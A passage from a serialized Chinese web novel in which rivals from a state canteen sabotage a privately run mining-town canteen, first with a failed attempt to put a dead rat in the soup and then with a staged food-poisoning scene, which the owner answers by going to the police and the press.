见冯解放走了,冯建平嗖地一下站起来,三步并做两步,就要往厨房里面蹿,嘴里喊着: “冬梅啊,我来帮你看锅吧。” 对于冯建平的热心相助,杨冬梅却挡在他面前,不仅不许他靠近灶台,嘴上更是说: “冯哥,谢谢你了哈,但你这衣服都没换,手也没洗的,就先别进后厨了。” 冯建平被挡在厨房门口,先是不快,转而又堆出一脸的笑。 “那我去换个衣服洗个手再来,别跟我客气,说起来你跟着我爹学厨,也算我师妹,都是一家人。” 对于他刻意套近乎的话语,杨冬梅却不为所动,反而说: “冯哥,不好意思,你换衣服洗手也不能进来,后厨只能让本食堂的人进,就算是你也不行。” 贺明珠对新食堂的管理要求比煤矿人家更为严格,特别是对于食品卫生和安全方面,可以说是苛刻到鸡蛋里挑骨头的地步。 食堂每天全方位消毒就不说了,进出后厨的人员也进行了限制,而且要求操作时不得少于两人,每天的饭菜也都进行了留样。 为此,贺明珠还特地花费重金买了一台冰柜,就是为了存放样品。 与管理细密到如同蛛网般的新食堂相比,冯建平所在的旧食堂简直就是个漏洞的破渔网,谁都能 到后厨转一圈,至于锅里加了什么,更是无人在意。 没想到新食堂的管理会这么严格,甚至他连后厨的门都进不去,冯建平心中一紧,强笑道: “我是冯师傅儿子啊,都是自己人,就算是我也不行吗?” 杨冬梅语调婉转,但话语中没有一丝松口的意思。 “不行,真不好意思,我们食堂就是这么个要求,你多见谅。” 杨冬梅挡在门口,没有要让开的意思,目光直视冯建平,不声不响地施加着压力。 冯建平受不住这样有重量的视线,自己先挪开了眼睛,干笑两声: “哈哈,哈哈,严点好,严点好……” 他自己也不知道在说什么,尴尬地回到原位,又蹲下剥起了葱。 怎么会这样,这可怎么办是好…… 冯建平乱七八糟地剥着葱,手上没个轻重,将鲜嫩的葱叶也撕了下来。 冯解放回来时见到这一幕,他一向珍惜东西,看到冯建平这样浪费,呵斥了一句: “专心点!冯建平,你怎么剥的葱!” 冯建平急忙将手上的葱往后藏了藏,胡乱地解释道:“上面有虫子……” 冯解放不欲多说,提醒了一句“看清了再剥”,便接着去后厨忙活了。 见冯解放的身影消失在厨房门后,冯建平扔下手中的葱,郁郁不快地站了起来。 这新食堂的后厨是进不去了,他要怎么完成刘师傅交代的事? 冯建平心浮气躁,踢了一脚葱堆,动作幅度大了些,从口袋中掉出一只灰突突的死耗子。 冯建平一惊,幸好左右无人,他忙不迭将耗子捡了起来,重新塞回口袋。 时间一分一秒地过去,大集体的职工陆陆续续来上班了。 见到眼生的冯建平,众人皆好奇打量。 有人自来熟,上来就问:“哥们,你是新来的?” 冯建平憨笑着说:“我是冯师傅的儿子,我来你们食堂坐会儿。” “噢,冯师傅的儿子啊……那你有工作吗?” 这是来打听冯建平是不是要走后门进新食堂上班的。 说起这个,冯建平骄傲地一挺胸膛:“我有工作,我就在一矿上班。” 众人皆了然,他们这些人是大集体编制,而冯建平是全民工,虽然大家都是有编制的工人,但全民工就是比集体工高一等,连带着有全民工编制的冯建平也比在场大集体职工更有优越感 又有人问:“那之前怎么没见过你?” 冯建平找借口:“那不是怕打扰你们工作嘛……” 忽然,有人没好气地插了一句嘴:“哼,那你现在来就不打扰了?” 冯建平被说得尴尬,厚着脸皮找借口:“我来看看有什么能帮上忙的……” 那人又哼了一句:“帮忙?我看你是来免费蹭饭的吧!” 冯建平被臊得一张脸通红,有人拉了拉那人,小声道:“他是冯师傅儿子,不看佛面看僧面,你……” 那人冷冷瞪了冯建平一眼,扔下一句“冯师傅儿子又不是冯师傅,就算是冯师傅,我该说什么就说什么,谁也管不着!”说完他转身就走了。 一时间有些冷场,其他人互相招呼着:“走了走了,干活去了,过一会儿吃饭的人就该来了……” 众人散开,独留冯建平一人尴尬,他气闷又憋屈,站在原地,窝窝囊囊地生气。 哼!等他把新食堂搞倒了,看这群人去哪儿上班! 有人从后厨推着一个大桶出来,里面盛了满满一桶的蛋花黄瓜汤,里面调了水淀粉,汤色浓稠,寥寥几颗鸡蛋就做出了满锅蛋花的夸张效果。 汤桶又烫又沉,这人推着费劲,冯建平见状心中一喜,急忙赶了上去。 “我来帮你推!” 有人帮忙自然好事,这人也不客气,招呼着冯建平一起将汤桶推到了指定位置。 推桶的人放下桶就走,后厨还有一大堆活儿等着他干呢,一时间,桶旁只留冯建平一人。 而此时,新食堂的工作人员都在后厨忙着,第一波吃饭的工人也还没来,偌大的前厅中,一时间只有冯建平一人。 千载难逢的良机! 意识到这一点之后,冯建平的心砰砰直跳,几乎要冲出喉咙,紧张激动之下,他的手有些颤抖。 他定了定神,一手掀开桶盖,一手伸进裤兜,要将那只揣了一路的死耗子丢进汤桶中。 说时迟,那时快,忽然有人冲冯建平吼道: “你干什么!” 冯建平手一哆嗦,要掏出来的耗子又落回了兜里。 “我、我、我没干什么……” 说话的人正是之前对冯建平说话不客气的大集体职工。 他大步走过来,一把夺过冯建平手中的锅盖,重重盖在了汤桶上。 “哼!我就知道你要偷喝我们食堂的汤!我告诉你,就算你是冯师傅的儿子,来我们食堂吃饭也是要付钱的!” 冯建平脸上的表情像笑更像哭。 “我、我不是要偷喝汤啊……” 第118章 第118章食物中毒?(修)…… 来的人警惕地盯着冯建平,没好气地说:“不是想喝汤的话,你掀盖子干什么?” 冯建平有口难言,眼睁睁地看着对方像只老猫似的守在汤桶旁,嘴里还说什么“我们食堂可不是公家单位,这一口汤一粒米都是要卖钱的,就算你是冯师傅的儿子,吃饭也要付钱!” 冯建平的一只手捂着兜,另一只手胡乱从身上摸出几块钱,要递给对方。 “我给钱,给钱总行吧……” 那人却不收钱,傲然地说:“我不收钱,你去到前面换饭票吧!” 冯建平就问:“在哪儿换饭票?” 那人探头朝远处看了看,继续傲然道:“换饭票的人还没来,你等她来了再说吧!” 冯建平:…… 妈的,还说不是公家单位,这迟到的臭德行不就和他们食堂一模一样吗?! 他窝窝囊囊地被气走了,那人守着汤桶,不放心似的看他一眼,似乎担心他乘人不备的时候过来偷偷打一碗汤。 冯建平有种被侮辱的感觉。 妈的,谁稀罕你那口汤! 要不是为了……他早就不在这儿待着了! 有人路过前厅,看到这副诡异的对峙画面,认出双方后,不由得一乐。 同事问他:“你高兴什么呢?” “冯师傅的儿子和咱们食堂的那个二愣子对上了!” 同事连忙挤开他,往前厅一瞅,也乐了。 “他怎么就和二愣子扯到一起了?谁不知道这家伙倔,脑子不带拐弯的,要不是在大集体上班开除不了,早让人撵回家了!” “嘿嘿,管他呢,有乐子看了!” 第三个人经过,见大伙儿都忙得脚不沾地的时候,这两个家伙在这里扎堆儿看热闹,赶羊似的将两人轰开。 “都躲在这儿干嘛?我们都忙不过来了,赶紧过来帮把手!” 赶走了这俩看热闹不嫌事大的家伙,他则拿了个干净碗走到前厅,找了个理由让二愣子去后厨。 二愣子梗着脖子不肯走,指着冯建平说:“他要偷我们食堂的汤!” 冯建平无力地解释:“我真没想偷啊……” 这人打圆场道:“好好好,我知道了,后厨正缺人呢,你赶紧去帮把手。” 二愣子迟疑道:“那汤怎么办?” 这人一乐,随口扯了个谎:“有我呢,我替你看着他。” 二愣子不放心,一步三回头地走了。 把二愣子敷衍走,这人亲自给冯建平打了满满一碗热汤,端到他面前。 “小冯师傅,别介意,他这人没坏心,就是脑子不够使,来来来,喝汤,别客气。” 滚烫的一碗蛋花汤送到冯建平手边,对方态度殷切,实在找不出不喝的理由。 冯建平含泪端起汤,灌了一大口,被烫得舌头都发麻。 “好、好喝……” “好喝就成,来,我给你再打一碗!” 冯建平惊慌失措:“啊,不,不,不……” “甭跟我客气,你是冯师傅儿子,和我们食堂自己人一样,来来来,多喝点!” 冯建平连着被灌了两大碗蛋花汤,到了第三碗时,食堂开始陆陆续续地进客人了。 前厅的人越来越多,不少人进门不急着打饭,而是先来打一碗热汤晾着。 眼见围在汤桶旁的人不减反增,冯建平的手终于从兜里伸了出来,颓然地垂在身侧。 唉……唉! 冯建平一事无成地回到旧食堂,刘师傅见到他就把他拉到一边,急切地问: “成了吗?” 冯建平苦涩地说:“没,人太多了……” 刘师傅甩开手,不快地说:“这点事儿都办不好,你还有什么用!” 冯建平不敢反驳,垂头丧气地走进后厨。 刘师傅盯着他的背影,心里不知在想什么,目光逐渐阴狠起来。 本来只是想简单教训新食堂一下,可既然事没办成,那就别怪他心狠手辣了! 晚上的时候,贺明珠照常去新食堂巡视一圈。 食堂内环境卫生,用餐人群井然有序,打菜窗口的饭菜美味可口,前面摆放的价格标签看起来很 有诱惑力。 现在食堂的工作主要是冯解放来主持,他年纪大,资历深,经验丰富,又是食堂开办时的元老,因此在管理时很有信服力。 不过冯解放并不贪恋权柄,逐渐将手上的工作分给年轻人负责,其中后厨由杨冬梅接管,前厅则是田润花负责,另外一个新来的大集体职工则负责食材的出入库管理。 食堂被分成了几个模块,彼此间权责分明,互相配合,俨然正规起来,越来越有模有样。 贺明珠看了一圈食堂,去冰柜看了看每日饭菜留样,又去仓库查看了一番蔬菜肉类,最后找财务拿了最近这段时间的账本。 当贺明珠正在翻开最近食堂的进出时,忽然有人将她拉到一边,气势汹汹地要告状。 “贺老板,今天早上的时候,冯师傅让他儿子来我们食堂白吃白喝!” 谁也没想到二愣子会突然发难,一时间,气氛有些尴尬。 冯解放脸上露出尴尬之色,急忙解释道:“我儿子今天来得早,他们单位没开门,就来咱们食堂坐了坐……我不知道他来吃东西了,我这就把汤的钱补上!” 冯解放从兜里翻钱时,给冯建平打汤的人忙说:“不关冯师傅的事,是我给小冯师傅打的汤,我来付吧!” 二愣子乱中插话,哼了一声:“马屁精!” 贺明珠失笑:“好了好了,这不是什么大事,咱们食堂的例汤本来就是免费的,不需要付钱……冯师傅,您把钱收回去吧。” 二愣子不乐意了:“他又不是我们食堂的客人,凭什么白喝汤!今天这家来,明天那家来,大家都白吃白喝,我们食堂不就要被吃垮了吗!” 打汤那人扯着他往后走:“行了你,怎么没完没了的……” 冯解放窘迫得说不出话来,喃喃道:“我平时从食堂买饭是给了钱的……” 反而是贺明珠安慰他:“冯师傅,一点小事,别放心上。” 冯解放叹了口气,却说:“二愣子说得有道理啊,我们食堂要公私分明,我应该以身作则。” 他说到做到,还真在食堂开始了一场整肃运动,原本还有部分大集体职工夹带食物回家,在严格管理下,食堂员工再也没有偷食物的行为了,这是后话了。 当天晚上,冯解放是自己骑车走的,路上没遇到冯建平。回了家才知道,冯建平早就下班回来了。 看到大儿子屋子的灯亮着,冯解放脚步顿了顿,到底没找他说话。 第二天早上,冯解放吃完早饭要出发时,冯建平又跟了上来。 “爸,我去你们食堂帮把手吧。” 昨天没成,冯建平今天还想再试一次。 但冯解放说:“你以后没事不要来新食堂找我了,有什么事回了家再说。” 冯建平愣住,他没想到冯解放会拒绝,还试图努力一把:“我就去帮忙,你们食堂的人不是上班来得晚吗?我帮你忙还不好啊?” 冯解放语气很坚定:“你不在我们食堂工作,没事就不要来了。要是吃饭的话,我这里有饭票,你拿着饭票去打饭吧。” 冯建平一呆,难道他爸也以为他是要去蹭饭吗? 不待冯建平解释,冯解放骑着车走了,临走还扔下一句:“你们食堂开门晚,你晚点再出发。” 冯建平推着车站在门口,不知是该走还是该留下。 大儿媳正在院子里刷牙,往地上吐了一口牙膏沫,奇道:“你吃坏东西了?怎么还主动要去个体户那儿干活?人家给你发工资吗?” 冯建平正郁闷呢,听到媳妇的话,嘟囔一句:“你懂什么,你别管……” 大儿媳没听清,扬起嗓子问他:“你嘀嘀咕咕说什么呢?” 冯建平把车往墙边一靠,一抹脸进了屋:“你听岔了,我啥也没说。” 最近一段时间,新食堂格外的风平浪静,与日俱增的用餐人数彰显着生意的红火。 然而,这一天,就在中午用餐高峰期时,坐得满满当当的用餐座位上,忽然有人哎哟一声,一头栽倒在地,口吐白沫,身体抽搐。 “哎呀!菜里有毒,吃死人了!” 正当众人都没反应过来时,忽然有人从旁边猛地站起,一把掀翻餐盘,指着盘中的菜大喊: “这菜不能吃!食堂在菜里下毒了!” 在有人摔倒之后,原本喧闹的食堂陷入短暂的安静,因此,这个人的话被听得分明极了。 轰的一声,反应过来的人们都开始七嘴八舌地说话,顿时食堂里吵闹极了。 “菜里有毒?哪道菜啊?” “谁知道这人打的都是些什么菜?有没有和我一样的菜?” “真的假的?这人不会是发羊癫疯了吧?” “快来个人,赶紧把人送医院去!” 听到前厅传来的喧闹声,田润花急忙挤进人群,焦急地说:“怎么了?谁昏倒了?” 不知是有意还是无意,几个人挡在田润花的必经之路上,不让她靠近倒在地上的人。 田润花身形瘦小,挤不过去,急得直喊:“让一让,快让一让!” “你们食堂怎么敢在菜里下毒!” “你挤什么挤,没看见这儿有人昏倒了吗?!” “新食堂的饭不能吃了!赶紧吐出来,小心中毒!” 田润花急得话都说不通顺了,颠三倒四地说:“没毒!让我过去!赶紧救人啊!” 她喊得嗓子都岔劈了,挡路的那几个人照样一动不动,还指着她鼻子大骂: “你们食堂害人还敢这么嚣张!果然个体户就是不行,为了挣钱连人命都不顾了!” “害人精!太狠毒了!” 田润花双拳难敌四手,一时间被裹挟在人群中动弹不得,急得脸都红了。 “干嘛呢!别欺负我们食堂的人!” 之前那位大骂贺明珠“资本主义走狗”的大集体职工拨开人群冲了进来,大声道: “你们几个男人欺负女人算什么好汉!有什么冲我来!” 挡路的人立时来劲儿了,不怀好意地冲“走狗”兄围了过来。 “就你是吧?你们食堂敢下毒害人,你们这些员工都是帮凶!” “走狗”兄一愣,下意识地问:“谁下毒了?” 田润花忙喊:“别和他们吵,快去救人!中毒的人不能耽误!” 她这句话不说也罢,一说反而像是给了对方理由。 “听到了吧!这食堂的员工也说是中毒,要不是他们下的毒,怎么会知道是中毒呢!” “赶紧把吃下去的菜都吐出来,不然就要被毒死了!” 听到这话的人们皆愕然,还真有人冲出去催吐,食堂内乱做一片,满地都是洒下的饭菜,被人踩了又踩,到处都是污渍鞋印。 在打菜窗口的食堂职工见情况不对,急忙到后厨找冯解放。 冯解放一听就急了,围裙也顾不上脱,一路小跑着就往外冲,其他人也连忙跟了出来。 “别管是不是中毒,先把人送医院!” 堵路的几个人见食堂的大部队来了,互相对视一眼,抬手抬脚的,抬起地上的人就跑。 “走走走,去医院救人了!” 几个人跑得快,即使是抬着一个人,没一会儿就消失在众人的视线中。 冯解放带人追了会儿,他年纪大了跑不动,实在追不上,两只手撑着膝盖直喘气。 “怎么办啊冯师傅?!” 田润花急得团团转,对方抬着人就跑了,这倒地的人到底是什么情况,现在谁也不知道。 冯解放喘着粗气,抓着田润花的手腕,一字一顿道: “快、快去告诉老板……有人要来闹事!” 食堂中午发生的这一场闹剧,以迅雷不及掩耳盗铃之势传遍了一矿。 在场的人绘声绘色地向其他人形容:“那人一头就栽到地上,气也不喘了,眼睛也闭上了,浑身抽抽,嘴里还往外吐白沫,可吓人了。” 有人不信,追问道:“真吃死人了?” “我看十有八九是活不过来了,都那个情况了,就算是华佗也救不了。” “唉呀妈呀,这太吓人了,好端端在食堂吃顿饭就死了……” “幸好我从来没去新食堂吃饭,我就知道私 人生意不行,为了赚钱啥都敢干。” “哎呀,虽然咱单位食堂不好吃,但好歹吃不死人啊。” “是啊是啊,公家食堂起码保证安全,私人食堂谁知道菜里面放什么了?” “这下好了,我可再也不敢去新食堂吃饭了……” “等会儿下班了赶紧去医院检查,别中毒了都不知道。” 三人成虎,谣言传得越来越夸张。 几乎是立竿见影,到了晚饭时候,来新食堂吃饭的客人少了一多半。 偶尔还有几个人在门口探头探脑,见里面的人确实少了,就将传言当成事实,忙不迭去旧食堂了。 寥寥几个来吃饭的人心中有些不安,往日抢着吃的饭菜如今进了嘴,却品不出美味。 他们一边吃,一边在心里嘀咕,应该没事吧,之前也没出过事啊…… 一顿饭吃得人心事重重,食不知味,仿佛吃饭都变成了一种负担。 还有人拉住食堂员工,问他中午的事是真的还是假的? 而食堂里的其他客人都竖起耳朵听他怎么回答。 被拦住的员工扯出笑容,没有正面回答:“我们食堂的饭菜肯定没问题,我们自己都在吃,要是真有毒的话,我们怎么没事儿?中午的菜我也吃了,你看我现在不是好好站在这儿吗?” 众人一想,确实是这个道理,要是食堂的菜里有毒,食堂员工怎么还敢吃呢? 大家一时心情放松下来,舌头上的味蕾也恢复了,又能尝到饭菜的可口滋味。 然而,就在这时,忽然一群人气势汹汹地冲进了新食堂。 “都别吃了!这食堂菜里有毒!吃死人了!” 一副担架被放到地上,担架上躺着个哎呦哎呦呻吟的人,裹着被子,看不清脸。 “我兄弟来你们食堂吃饭,吃中毒了,医院治不好,你们赔命吧!” 来的这伙人大多是青壮年男性,流里流气,说话间唾沫横飞,摆明了就是来闹事。 “别吃了!吃什么吃,这菜有毒!” 见一旁的座位上有人在吃饭,其中一个人伸手就掀托盘,将盘中的菜弄得满桌子都是。 被打翻了菜的人不满道:“哎你干什么?!” “我这是为你好!不想死就别吃了!” 其他来闹事的人纷纷行动起来,有的学着这家伙的样子,掀翻了正在吃饭的客人的餐盘;有的则委婉一些,抓着客人肩膀,不让人家继续吃饭。 “都说菜里有毒了还吃?不想活了?!” 食堂员工急忙上前阻拦:“有话好好说,你们这是干什么?!” “干什么?我们来要个公道!” “你们食堂毒死了人,总该给个说法吧!” “大家伙儿都看看,这家食堂菜里有毒还敢开门,赚钱不要命了!” 食堂员工一个人的声音压不过这么多人,辩解的话语被淹没下去,听也听不清。 来闹事的几个人分工明确,有人在食堂砸东西,把客人正在吃饭的碗盘都摔到地上;有人则拎了个锣站到门口,铛铛铛地敲,一边敲一边喊“食堂吃死人了!” 食堂内的客人惊得目瞪口呆,食堂外的路人则纷纷凑过来看热闹。 “又出事了?” “说是中午中毒的人死了!” “啊?死了?!” “哎呀,这事儿可要闹大了……” “幸好我晚上没来吃饭,太危险了啊……” 此时的新食堂像是沸腾的油锅,一滴水落进去就会将滚油炸得四处都是。 其他食堂员工闻声赶来,忙不迭地去拦闹事的人。 “别砸了,别砸了,有话好好说啊!” 冯解放也赶了过来,大声道:“我们食堂的饭菜没有问题!你说有人中毒了,那我们现在就带他去医院做检查!要是真的因为吃了我们食堂的饭出的事,我承担全部责任!” 闹事者往地上啐了一口浓痰,恶毒地说:“我兄弟人都没了,你一个老头子承担责任有什么用?要不然,你去死吧,就当给我兄弟赔命了!” 杨冬梅怒道:“你怎么说话的!” 冯解放镇定道:“你兄弟现在不是还喘气吗?再说了,就算是人死了还有法医呢,我们现在就报警,让警察来判案!” 闹事者眼睛一转,不正面回答,又扯着嗓门嚷嚷开了。 “食堂杀人了!菜里有毒吃死人了!” “快走!这食堂的饭不能吃!” 无论冯解放说什么,闹事者只丰富说这几句话,摆明了耍无赖。 相对于对方富有煽动性的话语,冯解放的解释听起来是那么的苍白无力。 冯解放气得说:“你不是说你兄弟在我们食堂吃中毒了吗?我现在就让人送他去医院,看看到底是不是中毒!” 听到冯解放的话,几个年轻气盛的大集体职工挤进人群,七手八脚就要抬着担架走。 见势不妙,闹事者纷纷聚集过来,大喊大叫着什么“食堂抢尸体”、“毁尸灭迹”之类的话。 他们熟练地抬起担架就跑,担架上的人也配合地不再出声动弹,直挺挺地僵着不动,就跟真死了似的。 食堂员工试图阻拦,被对方推了个踉跄,外面不明所以的围观人群给担架让开路,窃窃私语。 “真死人了?” “我看十有八九,那人都硬了……” “要真死人怎么不报警?” “谁知道呢?都说贺家有靠山,估计是怕报警没用吧……” “哎,好端端的怎么会出这种事呢?” “别琢磨了,这段时间先避避风头吧,别去新食堂吃饭了……” 抬尸闹事像是在一矿投下了一枚威力巨大的导弹,瞬间引爆了舆论。 这年头缺乏娱乐,在场的人绘声绘色地向其他人形容当时发生的事。 原本一些人还不知道中午发生的事,现在都听说了新食堂有人中毒的新闻。 一小撮人信以为真,大部分人半信半疑。 可无论是信还是不信,人类的本能是避险,确保自己的安全,远离潜藏危险的事物。 短短一夜过后,来新食堂用餐的人数呈现断崖式下跌,前厅甚至显得有些空空荡荡。 而新食堂的职工也无心工作,人心惶惶,一片愁云惨淡。 “怎么办啊冯师傅?” “这下完了,食堂怕是要塌了……” “我这才上了几个月的班啊,还没等到涨工资呢,单位都要没了……” 冯解放绷着脸,沉声道:“别慌,还没到那时候呢。再说了,中午吃饭的人那么多,怎么就他一个人中毒了、其他人都没事?我看是有人故意找事!” “走狗”兄悔恨道:“我当时要是把人拦下来就好了!” “不嫌单位”兄悻悻地说:“你拦下来有什么用?人家确实在地上抽抽,你还能拦着不让送医院?” “走狗”兄和他杠上了:“那起码我们能知道那人是谁,送到哪家医院了!” 另一人扫兴地说:“知道是哪家医院又有什么用?不是都说人死了吗?” 有人反驳:“谁说他死了?有人亲眼看到了?说不定是装的呢 !” 还有人劝道:“你们别吵吵了……” 田润花焦躁不安地咬着嘴唇,两只手互相地掐,在手背上掐出一块块的青紫。 杨冬梅看不过去,拉住了她的手。 “和你没关系,当时不管谁在那儿,最后都一样。” 田润花带着哭腔说:“那怎么办啊……” “等,等贺老板来,她一定有办法。”杨冬梅坚定地说。 此时,乌城矿务局的公安局。 “你说你要报什么案?” 穿着白色制服公安同志不敢相信自己的耳朵,又问了一遍报案人。 “矿务局一矿食堂发生一起疑似食物中毒事件,受害人不知下落,疑似毒发身亡——公安同志,我就要报这个案!” 年轻的姑娘扬着脸,语气笃定地说。 听到疑似有人死亡,公安同志认真了些,拿笔记下报案信息。 “对了,你叫什么名字?” 年轻姑娘平静地说:“我叫贺明珠。” 离开公安局后,贺明军不确定地问道:“这样真的有用吗?” 贺明珠看着前方的路,脚步极快,边走边说:“不试试怎么知道有没有用?” 贺明军追上她:“去食堂吗?” 贺明珠摇摇头:“不,去报社。” 贺明珠随身携带劳动服务公司的公章,在路边给自己写了张介绍信,盖上公章后,拿着新鲜出炉的介绍信来到了本地报社。 “你好,我要加急刊登一则告示,最好明天见报,费用不是问题。” 接连去了公安局和报社,最后一站才是一矿新食堂。 新食堂内众人早已等得心急如焚,见到贺明珠后,纷纷上前围住了她。 “老板,怎么办?大家都不来我们食堂吃饭了!” “咱们食堂还开得下去吗?” “食堂要是关门了,你以后还给不给我们发工资?” “冯师傅说这回是有人故意闹事,可人已经跑了,咱们要怎么办啊?” 对于大伙儿七嘴八舌提的问题,贺明珠拍了拍手,示意众人安静。 “大家先别慌,事情还没到不可挽回的地步,我们食堂不会倒闭。” “不嫌单位”兄扫兴地来了一句:“你说不会倒就不会倒吗?谁知道你是不是骗我们的……” 贺明珠面色平静,目光却充满压力。 “对,我说不会倒就是不会倒。” 对于贺明珠的话,有的人觉得莫名其妙,有的人嗤之以鼻,但也有的人相信她说的每一句话。 “贺老板,你说吧,需要我们做什么?” 说话的人不是冯解放,而是那位“走狗”兄。 贺明珠冲他点点头,说道:“大家分成六组,各组分别去乌城市内的六家医院,查找今天去医院看病的病人,症状包括但不限于恶心呕吐、腹痛腹泻、头晕发热……” 她顿了顿,补了一句:“以及癫痫。” 田润花眼睛一亮:“这样的话,我们就能找到中午的那个人了!” 贺明珠却泼了一盆冷水:“不一定能找到。” 田润花吃惊道:“啊?怎么会找不到呢?” 杨冬梅低声道:“也可能他是装的……” 田润花亮起来的眼睛又暗了下去。 贺明珠平静地说:“不管是真是假,我们先去医院找这个人,找不到的话,有找不到的解决办法。” “不嫌单位”兄忙问:“什么办法?” 贺明珠笑了,这是她来到食堂后的第一个笑容。 “你会知道的。” 当天夜里,无形的齿轴缓缓转动起来,将事情的发展带往所有人意料之外的方向。 “怎么回事!你们食堂怎么吃死人了?!” 第二天,张副矿长急不可耐地来找贺明珠。 “矿上都传遍了,说有人在你们食堂吃中毒了,人已经没了!这事儿是真的还是假的?!” 贺明珠淡定地说:“不知道。” “不知道?!” 对于这个回答,张副矿长又惊又怒。 “你们食堂吃死的人,你跟我说你不知道?!” 贺明珠说:“我确实不知道,不知道是哪道菜有毒,也不知道是谁吃中毒了,更不知道死人的事是真还是假。” 听到贺明珠的话,张副矿长冷静了些。 “你是说……有人故意散播谣言?” 贺明珠摇摇头:“也不全是谣言,昨天中午的确有人在食堂晕厥了,但没等食堂职工靠近,他就被人抬走了。” 张副矿长这头老狐狸从短短几句话中立刻咂摸出味道。 “我明白了……你又得罪谁了?” 贺明珠无奈笑笑:“开门做生意,我一向笑脸迎人,得罪二字说不上,只能说是招惹小人了。” 张副矿长习惯性地皱着眉头,心里不知在想什么。 贺明珠说:“张矿长,我有个不情之请。” 张副矿长:“哦?你说。” 贺明珠忽然狡黠一笑:“今天公安会来一矿调查食物中毒案件,还请您行个方便。” 张副矿长眼睛一转,顿时明白了。 “噢,你是怕事情闹得不够大啊……” 老狐狸和小狐狸不说话,只是互相对着笑。 “行,我了解了,我会让下面人好好配合公安工作的。” 几个穿着白色制服的公安来到一矿,四处走访调查,将人们的好奇心钓得高高的。 “真吃死人了啊……” “估计是,不然公安怎么会来。” “这下贺家完了,可惜了,他们家的饭菜还是挺不错的。” “嗬,再好吃也不能吃,你不要命了啊!” 纷纷扰扰的议论声中,旧食堂的人扬眉吐气,走路都昂着头。 “早就和你们说了,私人做买卖的为了挣钱都丧了良心,哪有咱们公家食堂好!” “这下知道好赖了吧,哼,还嫌我们食堂的饭不好吃,不好吃怎么了,起码吃饭不要命啊!” 刘师傅拍着冯建平的肩膀,得意地说:“就说你不行吧,你看看,多简单的事,我随便一出手就解决了。” 冯建平讨好地笑:“师兄确实厉害,我比不上……” 刘师傅一皱眉:“喊什么师兄,咱们是同事,别用这种封建词汇来称呼!” 冯建平忙说:“好,好,那个,刘组长……” 刘师傅这才满意一笑:“行了,今天下班早点回去吧,和你爸说一声,别在新食堂干了,老了老了的,给自己留点脸面吧。” 冯建平点头哈腰地答应了。 晚上回家后,他还真对冯解放说: “爸,反正你们那个食堂也要倒了,你以后别去上班了,就在家里带带孙女,做做饭。” 第119章 第119章中毒之后 听到冯建平的话,冯解放眉毛一竖,说道:“谁说要倒了,我们食堂开的好好的呢!” 冯建平不耐烦地说:“矿上谁不知道你们食堂吃死了人,倒闭是早晚的事,你赶紧走吧,别被连累了……” 大儿媳插嘴道:“什么倒闭?什么吃死人?我怎么不知道啊?” 冯建平把事情简单说了下,大儿媳惊道:“爸 ,我们家可不能掺和这种死人的事,你千万不能再去上班了!” 冯解放怒道:“瞎说什么,我们食堂还好好着呢!” 冯建平一缩脖子,嘟囔一句:“好什么好,谁不知道公安都来了……” 冯老太不安道:“老头子,要不然就先别干了……” 冯家几个孩子难得和大哥大嫂站一条战线,纷纷劝冯解放别去上班了。 冯解放一挥手,制止其他人的话,决然道:“当初贺老板给的待遇好,你们成天地夸贺老板是好人;现在食堂遇到点困难,你们又换了副嘴脸,生怕和贺家沾上关系。但我不是这种忘恩负义的人,我是不会在这个节点逃跑的!” 冯家人一时被冯解放毅然决然的气魄震到,有人羞愧,有人不以为然,一时间没人说话。 冯建平却嘀咕了句:“一码归一码,你老了无所谓,我们还年轻,不能害了我们啊……” 冯解放大怒:“你!” 大儿媳扯了扯冯建平的袖子,示意他少说点儿。 冯建平眼睛看着地面,不看冯解放,嘴里说道: “爸,你从开始就没考虑过我们……你把一矿的人都引到你们食堂了,结果害得我们食堂好几个月的效益都发不出来……你是挣得多,但我呢?你年纪这么大,在私人单位干不了几年就要回家养老,可我就被你害惨了……我这可是正式工,要干一辈子的,你帮着姓贺的,把公家食堂的根都刨了,你是一点都没想过我以后怎么要在单位待着……” 冯解放没想到平时看着老实巴交的大儿子对他居然有这么大的怨恨,一时间说不出话来,呼哧呼哧地喘着粗气。 冯老太急忙给冯老头顺气,嘴里不住劝道:“老大,你别说了。” 大儿媳也劝道:“行了,你说这些有什么意思,爸赚的钱不都花在咱们家了吗?” 自从得知新食堂要倒闭后,冯建平像是终于挣脱了多年枷锁,一时间管不住嘴,要将多年怨气一吐而快。 “爸,你老说什么做人要有原则,结果你在单位待不下去,拍拍屁股走了,你倒是舒服了,我就受罪了,自从我进了单位,成天被人穿小鞋,要不是因为我是你儿子,人家能这么欺负我吗?” “你现在又帮着姓贺的搞什么新食堂,把吃饭的人都抢走了,我们食堂饭票收不到,效益发不出,同事看我是你儿子,都笑话我,说你老了老了还吃里扒外,拿着公家的退休工资,替私人单位干活……你还说我们忘恩负义,难道你就不是忘恩负义吗?你对得起公家吗?” 大儿媳见他越说越不像话,扯着他的衣摆,连声喝止。 “差不多行了,你还没完没了了!我看你是猫尿喝多了,走,赶紧回去睡觉去,明天醒了酒,好好给爸道个歉!” 不知从哪儿来的勇气,冯建平站着不肯走,反驳道:“我没喝酒!要道歉的也不该是我!” 冯家几个孩子噤若寒蝉,眼睁睁看着这一场大哥与爸之间突然爆发的争端。 冯建平站着,冯解放坐着。 冯建平居高临下地说:“爸,虽然现在不是以前运动那时候了,但我也要和你划清界限!” “划清界限”是文|革中常出现的词,往往意味着父母子女之间一刀两断,断绝关系。 冯老太失声:“老大!” 冯解放却冷静了下来:“行,那就分家吧。” 虽然早就想分家,但没想过会是这个时候提出,大儿媳气道:“你真是昏了头了!” 冯建平梗着脖子说:“分就分,谁怕谁!” 冯家的共产不多,不过是几间旧房。 冯建平夫妻每月向家里交二十块钱,剩下的工资都自己拿着。 说是分家,不过是冯建平住的那间屋子归他所有,以后两家人各自开火,各吃各的饭,不在一张桌上吃饭了。 冯建平的女儿年纪小,懵懂地问:“妈,咱们不和爷爷奶奶一起吃饭吗?” 大儿媳怒道:“谁知道你爹发什么疯!” 冯建平却并不觉得自己在发疯,早上出门上班的时候,他从未觉得自行车骑起来如此轻快迅捷。 一矿的门卫老头看到冯建平,习惯性地撇了撇嘴。 冯建平不知是哪儿来的勇气,不屑地对门卫老头说:“老东西,你给谁脸色看呢?!” 门卫老头一愣,眼睁睁看着冯建平骑着车进了单位,慢了一拍,他才意识到冯建平刚刚说了什么。 老头气得够呛,冲着冯建平的背影挥拳头。 “冯建平,你小子等着!老子把你洋车都拆了!” 冯建平心情愉快地来到旧食堂,哼着小曲把车停在车棚,步履轻快地从后门进了食堂。 